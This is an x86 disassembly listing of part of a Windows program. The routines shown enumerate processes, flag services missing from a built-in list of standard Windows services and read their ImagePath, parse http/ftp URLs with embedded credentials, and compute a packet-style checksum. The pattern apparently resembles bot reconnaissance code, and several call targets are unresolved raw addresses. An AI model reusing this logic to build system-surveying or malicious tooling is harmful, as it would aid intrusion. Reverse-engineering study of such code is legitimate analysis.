		test	eax, eax
		jz	loc_42079A
		mov	ecx, dword ptr aUnknown	; "unknown"
		mov	eax, dword ptr aUnknown+4
		mov	edx, [esp+3Ch+var_34]
		push	edi
		mov	[esp+40h+var_C], ecx
		mov	[esp+40h+var_8], eax
		mov	ecx, 3Fh
		mov	eax, 0
		lea	edi, [esp+40h+var_4]
		shr	edx, 2
		rep stosd
		jz	loc_420781
		push	ebx
		mov	ebx, [esp+44h+arg_1104]
		push	ebp
		mov	ebp, dword_50F874
		lea	edi, [esp+48h+arg_F4]
		mov	[esp+48h+var_38], edx


loc_4206DF:				; CODE XREF: sub_4205D0+1A9j
		mov	ecx, [edi]
		push	ecx
		push	0
		push	410h
		call	ebp
		mov	esi, eax
		test	esi, esi
		jz	short loc_42076D
		lea	edx, [esp+54h+var_38]
		lea	eax, [esp+54h+var_3C]
		push	edx
		push	4
		push	eax
		push	esi
		call	dword_50BB28
		test	eax, eax
		jz	short loc_420766
		mov	edx, [esp+64h+var_4C]
		lea	ecx, [esp+64h+var_28]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	dword_50BB2C
		lea	ecx, [esp+74h+var_54]
		call	sub_401866
		lea	eax, [esp+74h+var_38]
		lea	ecx, [esp+74h+var_54]
		push	eax
		mov	[esp+78h+arg_10D0], 0
		call	sub_4015D7
		mov	ecx, [edi]
		lea	edx, [esp+74h+var_54]
		mov	[esp+35h], ecx
		push	edx
		mov	ecx, ebx
		call	sub_402167
; ---------------------------------------------------------------------------
		lea	ecx, [esp+74h+var_54]
		mov	[esp+74h+arg_10D0], 0FFFFFFFFh
		call	sub_401A6E


loc_420766:				; CODE XREF: sub_4205D0+136j
		push	esi
		nop
		call	near ptr 28709F4h


loc_42076D:				; CODE XREF: sub_4205D0+11Fj
		mov	eax, [esp+78h+var_68]
		add	edi, 4
		dec	eax
		mov	[esp+78h+var_68], eax
		jnz	loc_4206DF
		pop	ebp
		pop	ebx


loc_420781:				; CODE XREF: sub_4205D0+EFj
		pop	edi
		mov	al, 1
		pop	esi
		mov	ecx, [esp+68h+arg_10C4]
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
; ---------------------------------------------------------------------------


loc_42079A:				; CODE XREF: sub_4205D0+46j
					; sub_4205D0+8Cj ...
		mov	ecx, [esp+18h+arg_1118]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
sub_4205D0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420840	proc near		; CODE XREF: sub_401866j
		push	esi
		mov	esi, ecx
		call	sub_401424
		mov	eax, esi
		pop	esi
		retn
sub_420840	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_420860	proc near		; CODE XREF: sub_401A6Ej
		jmp	sub_401226
sub_420860	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420880	proc near		; CODE XREF: sub_402144j

var_518		= byte ptr -518h
var_514		= dword	ptr -514h
var_510		= dword	ptr -510h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_4F8		= byte ptr -4F8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4DC		= dword	ptr -4DCh
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4CC		= dword	ptr -4CCh
var_4C8		= dword	ptr -4C8h
var_4C4		= dword	ptr -4C4h
var_4C0		= dword	ptr -4C0h
var_4BC		= dword	ptr -4BCh
var_4B8		= dword	ptr -4B8h
var_4B4		= dword	ptr -4B4h
var_4B0		= dword	ptr -4B0h
var_4AC		= dword	ptr -4ACh
var_4A8		= dword	ptr -4A8h
var_4A4		= dword	ptr -4A4h
var_4A0		= dword	ptr -4A0h
var_49C		= dword	ptr -49Ch
var_498		= dword	ptr -498h
var_494		= dword	ptr -494h
var_490		= dword	ptr -490h
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_430		= byte ptr -430h
var_41C		= byte ptr -41Ch
var_408		= byte ptr -408h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_420880
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 50Ch
		push	ebx
		push	ebp
		xor	ebx, ebx
		push	80000000h
		push	ebx
		push	ebx
		nop
		call	near ptr 2930830h
		mov	ebp, eax
		cmp	ebp, ebx
		mov	[esp+520h+var_500], ebp
		jnz	short loc_4208CF
		pop	ebp
		xor	al, al
		pop	ebx
		mov	ecx, [esp+518h+var_C]
		mov	large fs:0, ecx
		add	esp, 518h
		retn
; ---------------------------------------------------------------------------


loc_4208CF:				; CODE XREF: sub_420880+34j
		push	esi
		push	edi
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv"
		mov	[esp+528h+var_4E0], offset aBrowser ; "Browser"
		mov	[esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc"
		mov	[esp+528h+var_4D8], offset aDhcp ; "Dhcp"
		mov	[esp+528h+var_4D4], offset aDmserver ; "dmserver"
		mov	[esp+528h+var_4D0], offset aDnscache ; "Dnscache"
		mov	[esp+528h+var_4CC], offset aErsvc ; "ERSvc"
		mov	[esp+528h+var_4C8], offset aEventlog ; "Eventlog"
		mov	[esp+528h+var_4C4], offset aEventsystem	; "EventSystem"
		mov	[esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility"
		mov	[esp+528h+var_4BC], offset aHelpsvc ; "helpsvc"
		mov	[esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver"
		mov	[esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation"
		mov	[esp+528h+var_4B0], offset aLmhosts ; "LmHosts"
		mov	[esp+528h+var_4AC], offset off_4442F4
		mov	[esp+528h+var_4A8], offset aMessenger ;	"Messenger"
		mov	[esp+528h+var_4A4], offset aNetman ; "Netman"
		mov	[esp+528h+var_4A0], offset off_4442DC
		mov	[esp+528h+var_49C], offset aPlugplay ; "PlugPlay"
		mov	[esp+528h+var_498], offset aPolicyagent	; "PolicyAgent"
		mov	[esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage"
		mov	[esp+528h+var_490], offset aRasman ; "RasMan"
		mov	[esp+528h+var_48C], offset aRpcss ; "RpcSs"
		mov	[esp+528h+var_488], offset aSamss ; "SamSs"
		mov	[esp+528h+var_484], offset aSchedule ; "Schedule"
		mov	[esp+528h+var_480], offset aSeclogon ; "seclogon"
		mov	[esp+528h+var_47C], offset aSens ; "SENS"
		mov	[esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection"
		mov	[esp+528h+var_474], offset aSpooler ; "Spooler"
		mov	[esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV"
		mov	[esp+528h+var_46C], offset aStisvc ; "stisvc"
		mov	[esp+528h+var_468], offset aTapisrv ; "TapiSrv"
		mov	[esp+528h+var_464], offset aTermservice	; "TermService"
		mov	[esp+528h+var_460], offset aTrkwks ; "TrkWks"
		mov	[esp+528h+var_45C], offset aUploadmgr ;	"uploadmgr"
		mov	[esp+528h+var_458], offset aUpnphost ; "upnphost"
		mov	[esp+528h+var_454], offset aW32time ; "W32Time"
		mov	[esp+528h+var_450], offset aWebclient ;	"WebClient"
		mov	[esp+528h+var_44C], offset aWinmgmt ; "winmgmt"
		mov	[esp+528h+var_448], offset aWzcsvc ; "WZCSVC"
		mov	[esp+528h+var_444], offset aWuauserv ; "wuauserv"
		mov	[esp+528h+var_440], offset aSrservice ;	"srservice"
		mov	[esp+528h+var_43C], offset aThemes ; "Themes"
		mov	[esp+528h+var_438], ebx
		mov	[esp+528h+var_510], ebx
		call	sub_401424
		lea	eax, [esp+528h+var_510]
		lea	ecx, [esp+528h+var_514]
		mov	esi, dword_50F710
		push	eax
		lea	edx, [esp+52Ch+var_518]
		push	ecx
		push	edx
		lea	eax, [esp+534h+var_41C]
		push	ebx
		push	eax
		push	1
		push	30h
		push	ebp
		mov	[esp+548h+var_4], ebx
		mov	[esp+548h+var_50C], ebx
		mov	[esp+548h+var_504], 80h
		call	esi
		mov	ecx, [esp+524h+var_514]
		push	ecx
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	edi, eax
		lea	edx, [esp+524h+var_50C]
		lea	eax, [esp+524h+var_510]
		push	edx
		mov	edx, [esp+528h+var_514]
		lea	ecx, [esp+528h+var_514]
		push	eax
		push	ecx
		push	edx
		push	edi
		push	1
		push	30h
		push	ebp
		call	esi
		mov	eax, [esp+524h+var_510]
		mov	[esp+524h+var_504], ebx
		cmp	eax, ebx
		jbe	loc_420C2F
		mov	ebp, dword_50F75C


loc_420B0B:				; CODE XREF: sub_420880+3A5j
		mov	eax, offset aAudiosrv ;	"AudioSrv"
		test	eax, eax
		jz	short loc_420B37
		lea	esi, [esp+524h+var_4E0]


loc_420B18:				; CODE XREF: sub_420880+2B5j
		mov	ecx, [edi]
		push	ecx
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		test	eax, eax
		jz	loc_420C13
		mov	eax, [esi+4]
		add	esi, 4
		cmp	eax, ebx
		jnz	short loc_420B18


loc_420B37:				; CODE XREF: sub_420880+292j
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+524h+var_508]
		push	ecx
		push	20019h
		push	ebx
		lea	ecx, [esp+530h+var_4F8]
		call	sub_401681
		push	eax
		push	80000002h
		call	ebp
		cmp	eax, ebx
		jz	short loc_420B83
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420BDA
; ---------------------------------------------------------------------------


loc_420B83:				; CODE XREF: sub_420880+2EAj
		mov	eax, [esp+524h+var_508]
		lea	ecx, [esp+524h+var_500]
		lea	edx, [esp+524h+var_408]
		push	ecx
		push	edx
		push	ebx
		push	ebx
		push	offset aImagepath ; "ImagePath"
		push	eax
		call	near ptr 2910000h
		nop
		cmp	eax, ebx
		jz	short loc_420BBD
		mov	ecx, [edi]
		lea	edx, [esp+524h+var_4F8]
		push	ecx
		push	offset aS????_exe ; "[%s] [????.exe]"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420BDA
; ---------------------------------------------------------------------------


loc_420BBD:				; CODE XREF: sub_420880+324j
		mov	ecx, [edi]
		lea	eax, [esp+524h+var_408]
		push	eax
		push	ecx
		lea	edx, [esp+52Ch+var_4F8]
		push	offset aSS	; "[%s]	[%s]"
		push	edx
		call	sub_40102D
		add	esp, 10h


loc_420BDA:				; CODE XREF: sub_420880+301j
					; sub_420880+33Bj
		lea	eax, [esp+524h+var_4F8]
		lea	ecx, [esp+524h+var_430]
		push	eax
		call	sub_4014C9
		mov	ecx, [esp+524h+arg_4]
		push	eax
		mov	byte ptr [esp+528h], 1
		call	sub_401325
; ---------------------------------------------------------------------------
		lea	ecx, [esp+524h+var_430]
		mov	[esp+524h], bl
		call	sub_401226


loc_420C13:				; CODE XREF: sub_420880+2A7j
		mov	eax, [esp+524h+var_504]
		mov	ecx, [esp+524h+var_510]
		inc	eax
		add	edi, 24h
		cmp	eax, ecx
		mov	[esp+524h+var_504], eax
		jb	loc_420B0B
		mov	ebp, [esp+524h+var_4FC]


loc_420C2F:				; CODE XREF: sub_420880+27Fj
		push	ebp
		call	near ptr 2940458h
		nop
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+528h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 518h
		retn
sub_420880	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420D70	proc near		; CODE XREF: sub_4015EBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		push	esi
		push	0
		nop
		call	near ptr 28B1CC4h
		push	eax
		nop
		call	near ptr 28B110Dh
		mov	eax, esi
		pop	esi
		retn
sub_420D70	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420DA0	proc near		; CODE XREF: sub_401A28j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	[ebp+var_4], 0
		mov	[ebp+arg_4], eax
		femms
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	ebx, [ebp+var_4]
		cmp	ecx, 2
		js	short loc_420DD9


loc_420DC2:				; CODE XREF: sub_420DA0+32j
		xor	eax, eax
		mov	ax, [edx]
		add	ebx, eax
		sub	ecx, 2
		add	edx, 2
		cmp	ecx, 1
		jg	short loc_420DC2
		cmp	ecx, 0
		jz	short loc_420DEA


loc_420DD9:				; CODE XREF: sub_420DA0+20j
					; sub_420DA0+48j
		xor	eax, eax
		mov	al, [edx]
		add	ebx, eax
		sub	ecx, 1
		add	edx, 1
		cmp	ecx, 0
		jg	short loc_420DD9


loc_420DEA:				; CODE XREF: sub_420DA0+37j
		mov	[ebp+var_4], ebx
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ebx, [ebp+var_4]
		and	ebx, 0FFFFh
		add	eax, ebx
		mov	ebx, eax
		shr	ebx, 10h
		add	eax, ebx
		mov	[ebp+var_4], eax
		femms
		mov	eax, [ebp+var_4]
		pop	ebx
		not	eax
		mov	esp, ebp
		pop	ebp
		retn
sub_420DA0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420E40:				; CODE XREF: ___:00401019j
		mov	eax, [esp+4]
		mov	dword_50BB14, eax
		mov	eax, offset dword_50BB14
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420E60:				; CODE XREF: ___:00401771j
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10h]
		push	edi
		mov	edi, dword_50FAA0
		push	esi
		call	edi	; ftell
		mov	ebp, dword_50FA98
		push	2
		push	0
		push	esi
		mov	ebx, eax
		call	ebp	; fseek
		push	esi
		call	edi	; ftell
		push	0
		push	ebx
		push	esi
		mov	edi, eax
		call	ebp	; fseek
		add	esp, 20h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420EB0	proc near		; CODE XREF: sub_401938j

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420EB0
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	esi
		mov	esi, [esp+8Ch+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		jnz	short loc_420EDF
		xor	al, al
		jmp	loc_4214B9
; ---------------------------------------------------------------------------


loc_420EDF:				; CODE XREF: sub_420EB0+26j
		lea	ecx, [esp+90h+var_84]
		call	sub_401424
		push	esi
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], ebx
		call	sub_4015D7
		push	offset asc_443C4C ; ":"
		lea	eax, [esp+94h+var_54]
		push	ebx
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		mov	esi, [esp+90h+arg_4]
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_401FBE
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420F6F
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420F6F
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_4214B9
; ---------------------------------------------------------------------------


loc_420F6F:				; CODE XREF: sub_420EB0+92j
					; sub_420EB0+A2j
		push	offset asc_4443C8 ; "/"
		lea	ecx, [esp+94h+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	40h
		mov	ecx, eax
		mov	byte ptr [esp+94h+var_4], 2
		call	sub_401D20
		lea	ecx, [esp+90h+var_54]
		mov	edi, eax
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		push	offset asc_4443C8 ; "/"
		push	1
		jz	loc_4212AC
		lea	edx, [esp+98h+var_24]
		lea	ecx, [esp+98h+var_84]
		push	edx
		call	sub_4016AE
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_4016AE
		push	offset asc_443C4C ; ":"
		lea	edx, [esp+94h+var_54]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 4
		call	sub_4016AE
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 5
		call	sub_401FBE
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F20
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421069
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_4214B9
; ---------------------------------------------------------------------------


loc_421069:				; CODE XREF: sub_420EB0+19Cj
		push	offset asc_4443C8 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 6
		call	sub_4016AE
		push	offset asc_443C4C ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 7
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 8
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421135
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42111E
		mov	dword ptr [esi+54h], 50h


loc_42111E:				; CODE XREF: sub_420EB0+265j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421135
		mov	dword ptr [esi+54h], 15h


loc_421135:				; CODE XREF: sub_420EB0+255j
					; sub_420EB0+27Cj
		push	offset asc_4443C8 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 9
		call	sub_4016AE
		push	offset asc_443C4C ; ":"
		lea	edx, [esp+94h+var_24]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_4016AE
		lea	edi, [esi+2Ah]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401FBE
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F20
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4211EE
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_4214B9
; ---------------------------------------------------------------------------


loc_4211EE:				; CODE XREF: sub_420EB0+321j
		push	offset asc_4443C8 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ch
		call	sub_4016AE
		push	offset asc_443C4C ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Dh
		call	sub_4016AE
		lea	edi, [esi+3Fh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Eh
		call	sub_401FBE
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Dh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F20
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4213D3
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_4214B9
; ---------------------------------------------------------------------------


loc_4212AC:				; CODE XREF: sub_420EB0+100j
		lea	eax, [esp+98h+var_3C]
		lea	ecx, [esp+98h+var_84]
		push	eax
		call	sub_4016AE
		push	offset asc_443C4C ; ":"
		lea	ecx, [esp+94h+var_24]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Fh
		call	sub_4016AE
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 10h
		call	sub_401FBE
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Fh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F20
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421333
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_4214B9
; ---------------------------------------------------------------------------


loc_421333:				; CODE XREF: sub_420EB0+466j
		push	offset asc_4443C8 ; "/"
		lea	edx, [esp+94h+var_3C]
		push	1
		push	edx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset asc_443C4C ; ":"
		lea	ecx, [esp+94h+var_24]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 11h
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 12h
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 11h
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_4213D3
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4213BC
		mov	dword ptr [esi+54h], 50h


loc_4213BC:				; CODE XREF: sub_420EB0+503j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4213D3
		mov	dword ptr [esi+54h], 15h


loc_4213D3:				; CODE XREF: sub_420EB0+3DBj
					; sub_420EB0+4F3j ...
		push	offset asc_4443C8 ; "/"
		lea	ecx, [esp+94h+var_84]
		call	sub_4013E3
		lea	edx, [esp+90h+var_6C]
		push	eax
		push	edx
		lea	ecx, [esp+98h+var_84]
		call	sub_401E2E
		push	offset asc_4443C8 ; "/"
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 13h
		call	sub_4013E3
		push	eax
		lea	eax, [esp+94h+var_24]
		push	eax
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 14h
		call	sub_40200E
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		push	offset asc_4443C8 ; "/"
		lea	ecx, [esp+94h+var_6C]
		call	sub_4013E3
		lea	ecx, [esp+90h+var_24]
		push	eax
		push	ecx
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 15h
		call	sub_40200E
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		add	esi, 58h
		push	offset asc_4443C8 ; "/"
		mov	ecx, esi
		call	sub_4015D7
		lea	edx, [esp+90h+var_6C]
		mov	ecx, esi
		push	edx
		call	sub_4016BD
		lea	ecx, [esp+90h+var_6C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_4214B9:				; CODE XREF: sub_420EB0+2Aj
					; sub_420EB0+BAj ...
		mov	ecx, [esp+90h+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn
sub_420EB0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 190h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421670	proc near		; CODE XREF: sub_401AEBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_4]
		push	ebx
		mov	ebx, [esp+4+arg_C]
		push	ebp
		sub	edx, ebx
		xor	eax, eax
		push	esi
		push	edi
		test	edx, edx
		jle	short loc_42169B


loc_421684:				; CODE XREF: sub_421670+29j
		mov	esi, [esp+10h+arg_0]
		mov	edi, [esp+10h+arg_8]
		add	esi, eax
		mov	ecx, ebx
		xor	ebp, ebp
		repe cmpsb
		jz	short loc_4216A2
		inc	eax
		cmp	eax, edx
		jl	short loc_421684


loc_42169B:				; CODE XREF: sub_421670+12j
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4216A2:				; CODE XREF: sub_421670+24j
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
sub_421670	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4216C0:				; CODE XREF: ___:0040209Aj
		mov	eax, 2010h
		call	sub_4368D0
		mov	eax, [esp+2018h]
		push	ebp
		push	esi
		dec	eax
		push	edi
		jz	short loc_42170D
		dec	eax
		jz	short loc_4216E7
		dec	eax
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


